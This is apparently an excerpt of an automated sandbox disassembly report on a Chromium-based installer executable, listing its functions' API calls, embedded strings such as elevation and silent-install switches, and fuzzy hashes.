Opcode Fuzzy Hash: fb3572de7e6acdd30d6027d44ea3b3418e958c94714794425fe1118aa61f3370
Instruction Fuzzy Hash: D4E1D1B1D0036D9EDB21AFA4CC41BDEBBB5FF51310F154069E549E7282EBB05A84CB92

Function 00848A20 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 283COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00848A37
_strlen.LIBCMT ref: 00848B6A

Part of subcall function 00834E50: _strlen.LIBCMT ref: 00834E60

_strlen.LIBCMT ref: 00848B4B
_strlen.LIBCMT ref: 00848C2E
_strlen.LIBCMT ref: 00848CB3

Strings

Found non install-switch:, xrefs: 00848B3D
silent, xrefs: 00848C29, 00848C74, 00848C7B, 00848C8C
run-as-admin, xrefs: 00848B65, 00848BB1, 00848BB8, 00848BC9
uac-enabled, xrefs: 00848CAE, 00848CFD, 00848D04, 00848D15
Elevated run is necessary but silent instalation is requested - UAC will not be shown., xrefs: 00848D9E
Windows version is not suitable for elevated restart., xrefs: 00848A97
User is not in admin group., xrefs: 00848ABE
NeedStartThisProcessAsAdmin, xrefs: 00848A82, 00848AA9, 00848B26, 00848C0A, 00848D89
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 00848DA8
Run-as-admin functionality is already enabled., xrefs: 00848C1F

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen$CurrentProcess
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$Elevated run is necessary but silent instalation is requested - UAC will not be shown.$Found non install-switch:$NeedStartThisProcessAsAdmin$Run-as-admin functionality is already enabled.$User is not in admin group.$Windows version is not suitable for elevated restart.$run-as-admin$silent$uac-enabled
API String ID: 84547671-1959935438
Opcode ID: 6998c881373cf2a2bb047260f7186ddfb03fde7dc6758a22e31be398a426dc6f
Instruction ID: 99668693777d14b0c1da535c2728bc703526d692db2eab45b255ab12abdcd547
Opcode Fuzzy Hash: 6998c881373cf2a2bb047260f7186ddfb03fde7dc6758a22e31be398a426dc6f
Instruction Fuzzy Hash: D99109B1A08359AFD710EE748C92F5FB694FF91718F044C29F996E72C2DFA099048693

Function 008BC460 Relevance: 17.9, APIs: 4, Strings: 6, Instructions: 398COMMON

Download Yara Rule

APIs

SetDllDirectoryW.KERNEL32(0094335A), ref: 008BC484

Part of subcall function 00930140: GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00930177
Part of subcall function 00930140: GetLastError.KERNEL32 ref: 00930181

_strlen.LIBCMT ref: 008BC504
_strlen.LIBCMT ref: 008BC59E
_strlen.LIBCMT ref: 008BC861

Strings

run-as-admin, xrefs: 008BC4FF, 008BC553, 008BC55A, 008BC56B
spawned_in_protected_dir, xrefs: 008BC599, 008BC5F0, 008BC5F7, 008BC608, 008BC85C, 008BC8B5, 008BC8BC, 008BC8CD
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008BC9AD
*.dll, xrefs: 008BC687
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008BC9B4
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008BC9A6

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: _strlen$DirectoryErrorFileLastModuleName
String ID: *.dll$..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$run-as-admin$spawned_in_protected_dir
API String ID: 554357211-214805512
Opcode ID: 8130442d3a916357c124d6e4c7cde5c33726db8bbad9f235d7b5dbd467329d3f
Instruction ID: becfbe777f646b6ab1cbc7f0a873806f9fb69217517918e1ddd1149d95871dd8
Opcode Fuzzy Hash: 8130442d3a916357c124d6e4c7cde5c33726db8bbad9f235d7b5dbd467329d3f
Instruction Fuzzy Hash: BFD1D571E002699FDB21BB64CC9ABEE7764FF91304F1401B9E449E6242EB705F85CB92

Function 0089ECA0 Relevance: 17.7, APIs: 2, Strings: 8, Instructions: 171COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(?,?,00000000,?,?,SystemTemp,0000000A,?,00000000), ref: 0089EDBC

Strings

ChromiumTemp, xrefs: 0089F20A
SystemTemp, xrefs: 0089ED57
GetSecureSystemTemp, xrefs: 0089ED04
PathExists, xrefs: 0089ED95, 0089EE3F, 0089EF9D, 0089F067
GetOrCreateSecureSystemTemp, xrefs: 0089EF1B
SystemTemp, xrefs: 0089EF6E
file_util_win.cc, xrefs: 0089E98C, 0089ECFF, 0089ED90, 0089EE3A, 0089EF16, 0089EF98, 0089F062
Temp, xrefs: 0089F038

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: AttributesFile
String ID: ChromiumTemp$GetOrCreateSecureSystemTemp$GetSecureSystemTemp$PathExists$SystemTemp$SystemTemp$Temp$file_util_win.cc
API String ID: 3188754299-2083047464
Opcode ID: 4338b35e27c3cefc4dad49c471c88b869378e1db30ca15eaf6190cde5e365cf7
Instruction ID: 16432105aa4801a651d11ff449cea21de87cb9e8389ac3a5e029630e5d8a71fb
Opcode Fuzzy Hash: 4338b35e27c3cefc4dad49c471c88b869378e1db30ca15eaf6190cde5e365cf7
Instruction Fuzzy Hash: 95510A71A04740A7DB10AF689C86BAFB794FFD5714F048A1DF9D593681EBB0A9088783

Function 008B6950 Relevance: 17.6, APIs: 2, Strings: 8, Instructions: 72COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 008B696C
__Init_thread_header.LIBCMT ref: 008B69DB

Strings

..\..\third_party\libc++\src\include\__string\char_traits.h:322: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008B6D3E
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008B6D45, 008B6EBB
FeatureList-feature-accessed-too-early, xrefs: 008B69F1
..\..\third_party\libc++\src\include\vector:1393: assertion __n < size() failed: vector[] index out of bounds, xrefs: 008B6D4C
..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at, xrefs: 008B6EAD
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008B6EB4
..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length, xrefs: 008B69C7
..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at, xrefs: 008B6E9E

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Init_thread_header_strlen
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at$..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at$..\..\third_party\libc++\src\include\__string\char_traits.h:322: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string_view:267: assertion __s != nullptr failed: null pointer passed to non-null argument of char_traits<...>::length$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$..\..\third_party\libc++\src\include\vector:1393: assertion __n < size() failed: vector[] index out of bounds$FeatureList-feature-accessed-too-early
API String ID: 218057889-998176601
Opcode ID: a4eb297345ffdb24b3557aa7388c64f0f293c5b82968f26067e0d76633f89717
Instruction ID: f817e8571d290a98de460143b7f6ee54cb20d5177fa62075dea5f19d5d2d013a
Opcode Fuzzy Hash: a4eb297345ffdb24b3557aa7388c64f0f293c5b82968f26067e0d76633f89717
Instruction Fuzzy Hash: 64110471A04208DBD710EF78EC86EEA3764FB85718F10013CE905D7392EB716C28D692

Function 008B00B0 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 357fileCOMMON

Download Yara Rule

APIs

OutputDebugStringA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 008B03A2
WriteFile.KERNEL32(?,?,FFFFFFFF,00000000), ref: 008B0462
__Init_thread_header.LIBCMT ref: 008B04D3

Strings

LOG_FATAL, xrefs: 008B04ED
..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008B0487
W, xrefs: 008B0293
..\..\third_party\libc++\src\include\string_view:323: assertion (__end - __begin) >= 0 failed: std::string_view::string_view(iterator, sentinel) received invalid range, xrefs: 008B0471
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008B0478
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008B046A

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: DebugFileInit_thread_headerOutputStringWrite
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$..\..\third_party\libc++\src\include\string_view:323: assertion (__end - __begin) >= 0 failed: std::string_view::string_view(iterator, sentinel) received invalid range$LOG_FATAL$W
API String ID: 2021787345-2015273307
Opcode ID: 1024e51eb0e2077bd348fc9c1ffdf205003ccc54b8b6f5cd1b3e9b35845e6e05
Instruction ID: 154e4b82411693ea09c61b21d25c16db73714fa690b15ea8c7b3e6621d6e658a
Opcode Fuzzy Hash: 1024e51eb0e2077bd348fc9c1ffdf205003ccc54b8b6f5cd1b3e9b35845e6e05
Instruction Fuzzy Hash: C0D187B1E042199FCB10DBA8D894AEFBBB4FF49718F040029E945E7352E771A946CF91

Function 0085AC00 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 209COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 0085AC18
_strlen.LIBCMT ref: 0085ACA1
IsProcessorFeaturePresent.KERNEL32(0000000A,?,?,00000000), ref: 0085AE2E
IsProcessorFeaturePresent.KERNEL32(0000000D), ref: 0085AE39

Strings

program-files-installation, xrefs: 0085AC9C, 0085ACE8, 0085ACEF, 0085AD00
system-level, xrefs: 0085AC13, 0085AC5B, 0085AC62, 0085AC76
uac, xrefs: 0085AD92
promostat, xrefs: 0085ADF0
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 0085AE00

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: FeaturePresentProcessor_strlen
String ID: ..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$program-files-installation$promostat$system-level$uac
API String ID: 2631407230-3225624203
Opcode ID: 91a2007cd154ca9a0e704d3af5874ae5bd68cee5036c8fadbe54b7b5386ed85e
Instruction ID: edb0d62884502a6f2d7a65c5f358e1d61564c90c0378e54af273c7a69f8c9149
Opcode Fuzzy Hash: 91a2007cd154ca9a0e704d3af5874ae5bd68cee5036c8fadbe54b7b5386ed85e
Instruction Fuzzy Hash: CE615972D0021A5BDF14AAA4D891BEFB7B9FF85315F090235EC05F7282E6215D0987E3

Function 00894CC0 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 148COMMON

Download Yara Rule

APIs

__Init_thread_header.LIBCMT ref: 00894D4D
__Init_thread_header.LIBCMT ref: 00894F85

Part of subcall function 008FFBA7: EnterCriticalSection.KERNEL32(00963AB4,?,?,?,008C892C,0097139C,00000000,?,?,?,?,008C86AD,00000000,00000000), ref: 008FFBB2
Part of subcall function 008FFBA7: LeaveCriticalSection.KERNEL32(00963AB4,?,?,?,008C892C,0097139C,00000000,?,?,?,?,008C86AD,00000000,00000000), ref: 008FFBEF

Strings

Wednesday, xrefs: 00894DC0
Friday, xrefs: 00894DE2
Thursday, xrefs: 00894DD1
Tuesday, xrefs: 00894DAF
Sunday, xrefs: 00894D8D
Monday, xrefs: 00894D9E
Saturday, xrefs: 00894DF3

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: CriticalInit_thread_headerSection$EnterLeave
String ID: Friday$Monday$Saturday$Sunday$Thursday$Tuesday$Wednesday
API String ID: 3100837274-1471634407
Opcode ID: a91db9349b147be2bdab862ec00a280c9dae9e7da23c1771054ea6746f8a144c
Instruction ID: a64ddff1b05386a0cdd166c324bee74ba02eafb9cb0e035176a832ca57cbe00b
Opcode Fuzzy Hash: a91db9349b147be2bdab862ec00a280c9dae9e7da23c1771054ea6746f8a144c
Instruction Fuzzy Hash: 16617A70618B40CFEB21AF18E859F153BE0F701B98F1A81ADE1158F3A2CBF55845AB52

Function 008A0470 Relevance: 15.4, APIs: 10, Instructions: 361COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 008A047F

Part of subcall function 008CE2A0: __Init_thread_header.LIBCMT ref: 008CE2D9
Part of subcall function 008CE2A0: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,008A048D), ref: 008CE2FB
Part of subcall function 008CE2A0: GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 008CE307
Part of subcall function 008CE2A0: GetCurrentProcess.KERNEL32(?,?,008A048D), ref: 008CE31C

GetCurrentProcess.KERNEL32 ref: 008A04E6
GetCurrentProcess.KERNEL32 ref: 008A0504
GetCurrentProcessId.KERNEL32 ref: 008A0583

Part of subcall function 008A08C0: GetCurrentProcess.KERNEL32(?,?,?,008A06F2), ref: 008A08CE
Part of subcall function 008A08C0: K32GetProcessMemoryInfo.KERNEL32(00000000,?,0000002C,?,008A06F2), ref: 008A08D7

GetCurrentProcessId.KERNEL32 ref: 008A075E
SetLastError.KERNEL32(00000000), ref: 008A0860
Process32NextW.KERNEL32(00000000,?), ref: 008A0878
OpenProcess.KERNEL32(00000400,00000000,?), ref: 008A088E
GetLastError.KERNEL32 ref: 008A089F
CloseHandle.KERNEL32(00000000), ref: 008A08B3

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: Process$Current$ErrorLast$Handle$AddressCloseInfoInit_thread_headerMemoryModuleNextOpenProcProcess32
String ID:
API String ID: 4004825158-0
Opcode ID: e4de030808859dd84ff8ec53720fc54a1a285b7e500986f608e10c8d518d58c7
Instruction ID: 2234a4bbf338b7efd7e01784a40617fd65ef11efd2453513b8ada80e04a3bf96
Opcode Fuzzy Hash: e4de030808859dd84ff8ec53720fc54a1a285b7e500986f608e10c8d518d58c7
Instruction Fuzzy Hash: 56D15CB5C003189BDF10EFA4D846ADEB7B8FF49704F140469E905E7252EB34AA49CF92

Function 008C6C00 Relevance: 15.2, APIs: 6, Strings: 4, Instructions: 182COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 008C6DCC
GetLastError.KERNEL32(Failed to destroy crypt key, error: ,00952FE8,00000001,Cleanup,0000007A,?), ref: 008C6E04

Strings

Failed to destroy crypt key, error: , xrefs: 008C6DFA
Failed to release crypt context, error: , xrefs: 008C6CB9
Cleanup, xrefs: 008C6CA2, 008C6D44, 008C6DE3
Failed to destroy, error: , xrefs: 008C6D5B

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID: ErrorLast
String ID: Cleanup$Failed to destroy crypt key, error: $Failed to destroy, error: $Failed to release crypt context, error:
API String ID: 1452528299-3823038814
Opcode ID: db674add04ceee5c866370516e85a8d3d909efab7fa521896c658d983140c43f
Instruction ID: a374e26e81638a22623840b9fb8649bbf9d353bfe030bb86ccd8ddc877277cdc
Opcode Fuzzy Hash: db674add04ceee5c866370516e85a8d3d909efab7fa521896c658d983140c43f
Instruction Fuzzy Hash: 1551A471608341AFD710EB65DC82F2B7BA5FF81B04F04482CF995D6292EB71E9189B63

Function 008FC4A0 Relevance: 14.4, APIs: 1, Strings: 7, Instructions: 360COMMON

Download Yara Rule

Strings

..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008FC8C6
..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at, xrefs: 008FC85D
string_view::substr, xrefs: 008FC8BC
..\..\third_party\libc++\src\include\string_view:533: assertion __s.size() == 0 || __s.data() != nullptr failed: string_view::find_first_of(): received nullptr, xrefs: 008FC892
..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap, xrefs: 008FC87B
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008FC8D5
..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at, xrefs: 008FC86C

Memory Dump Source

Source File: 00000001.00000002.1723135992.0000000000821000.00000020.00000001.01000000.00000003.sdmp, Offset: 00820000, based on PE: true

Associated: 00000001.00000002.1723112428.0000000000820000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723256545.0000000000960000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723283258.0000000000961000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723315571.0000000000971000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1723358687.0000000000977000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_820000_0x001900000002ab40-59.jbxd

Similarity

API ID:
String ID: ..\..\third_party\libc++\src\include\__memory\construct_at.h:40: assertion __location != nullptr failed: null pointer given to construct_at$..\..\third_party\libc++\src\include\__memory\construct_at.h:66: assertion __loc != nullptr failed: null pointer given to destroy_at$..\..\third_party\libc++\src\include\__string\char_traits.h:245: assertion !std::__is_pointer_in_range(__s1, __s1 + __n, __s2) failed: char_traits::copy: source and destination ranges overlap$..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type$..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr$..\..\third_party\libc++\src\include\string_view:533: assertion __s.size() == 0 || __s.data() != nullptr failed: string_view::find_first_of(): received nullptr$string_view::substr
API String ID: 0-3127841957
Opcode ID: c4ae254353baaddcbba725211c2d8eb896d3ef980661cebeb26eb6ca14a305b8
Instruction ID: bed7099c0d250f5106ef4cbda4c2c0e2123f6f6eda67f5483a238fc5c4ff9f1f
Opcode Fuzzy Hash: c4ae254353baaddcbba725211c2d8eb896d3ef980661cebeb26eb6ca14a305b8
Instruction Fuzzy Hash: 92D18271E0020E8BCB18DF78C990ABEB7B2FF98354F25812DE515E7241DB31AA45CB54

Function 008B08E0 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 146windowCOMMON

Download Yara Rule

APIs

FormatMessageW.KERNEL32(00001300,00000000,008B0BE9,00000000,?,00000000,00000000,?,?,?,?,?,?,?,?,00000000), ref: 008B0908
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 008B0947
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,008B0BE9,?,?), ref: 008B0A73

Strings

..\..\third_party\libc++\src\include\string_view:313: assertion __len == 0 || __s != nullptr failed: string_view::string_view(_CharT *, size_t): received nullptr, xrefs: 008B0A43
..\..\third_party\libc++\src\include\string_view:311: assertion __len <= static_cast<size_type>(numeric_limits<difference_type>::max()) failed: string_view::string_view(_CharT *, size_t): length does not fit in difference_type, xrefs: 008B0A4A
(0x%lX), xrefs: 008B0958
